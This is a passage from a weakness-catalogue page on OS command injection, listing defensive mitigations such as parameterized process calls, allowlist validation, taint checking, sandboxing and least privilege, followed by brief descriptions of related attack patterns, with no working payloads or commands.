If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27

Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Mitigation MIT-21

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32

Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32

Operation

Strategy: Environment Hardening

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Mitigation

Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17

Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16

Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

← Back to the CWE list